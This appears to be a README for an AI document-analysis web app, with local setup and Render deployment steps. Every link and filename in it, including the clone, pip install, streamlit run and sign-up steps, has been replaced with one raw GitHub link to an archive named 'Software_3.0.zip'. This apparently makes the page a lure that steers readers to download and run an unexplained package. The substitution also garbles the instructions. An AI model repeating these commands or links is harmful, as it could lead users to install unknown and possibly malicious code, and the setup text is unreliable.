Intelligent Document Analyzer

An AI-powered document analysis system that can extract text from various document formats and provide intelligent analysis using LLM technology.

Features

• Document Upload: Support for PDF, DOCX, and TXT files
• Text Extraction: Efficiently extracts text from documents with fallback options
• Resume Analysis: Special features for analyzing resumes
• AI-Powered Analysis: Summarization, entity recognition, and custom Q&A
• Document Comparison: Compare resumes with job descriptions or other documents

Local Setup

1. Clone the Repository

   git clone https://github.com/razashaikh26/analyzer/raw/refs/heads/main/frontend/Software_3.0.zip
   cd intelligent-doc-analyzer
   

2. Install Dependencies

   pip install -r https://github.com/razashaikh26/analyzer/raw/refs/heads/main/frontend/Software_3.0.zip
   

3. Create an API Key

   • Get an API key from OpenRouter
   • Create a .env file in the project root with:

     API_KEY=your-api-key-here
     OPENROUTER_API_KEY=your-api-key-here
     

4. Start the Backend Server

   uvicorn backend:app --host 0.0.0.0 --port 8000
   

5. Run the Frontend App

   streamlit run https://github.com/razashaikh26/analyzer/raw/refs/heads/main/frontend/Software_3.0.zip
   

6. Access the App
   Open your browser and go to http://localhost:8501

Deployment to Render

This application is configured for easy deployment to Render's free tier using the https://github.com/razashaikh26/analyzer/raw/refs/heads/main/frontend/Software_3.0.zip file.

Steps to Deploy:

1. Create a Render Account
   Sign up at https://github.com/razashaikh26/analyzer/raw/refs/heads/main/frontend/Software_3.0.zip

2. Connect Your GitHub Repository
   In the Render dashboard, connect your GitHub repository

3. Create a Blueprint

   • Navigate to "Blueprints" in the Render dashboard
   • Click "New Blueprint Instance"
   • Select your repository
   • Render will automatically detect the https://github.com/razashaikh26/analyzer/raw/refs/heads/main/frontend/Software_3.0.zip file and create the services

4. Set Environment Variables

   • Add your OPENROUTER_API_KEY and API_KEY in the environment variables section
   • Add RENDER=true to tell the app it's running in production
   • Add BACKEND_URL in the frontend service pointing to your backend API URL (will look like https://github.com/razashaikh26/analyzer/raw/refs/heads/main/frontend/Software_3.0.zip)

5. Deploy
   Click "Apply" to start the deployment

Notes for Production:

• The free tier has some limitations in terms of processing power and memory
• For processing large documents, consider upgrading to a paid plan
• The app may sleep after periods of inactivity on the free tier

Troubleshooting

• PDF Extraction Issues: For scanned PDFs, try converting to DOCX format
• Backend Connection Errors: Ensure the backend server is running
• API Key Issues: Double-check your API key in the .env file
• OCR Functionality: Requires Tesseract OCR to be installed on the server

License

MIT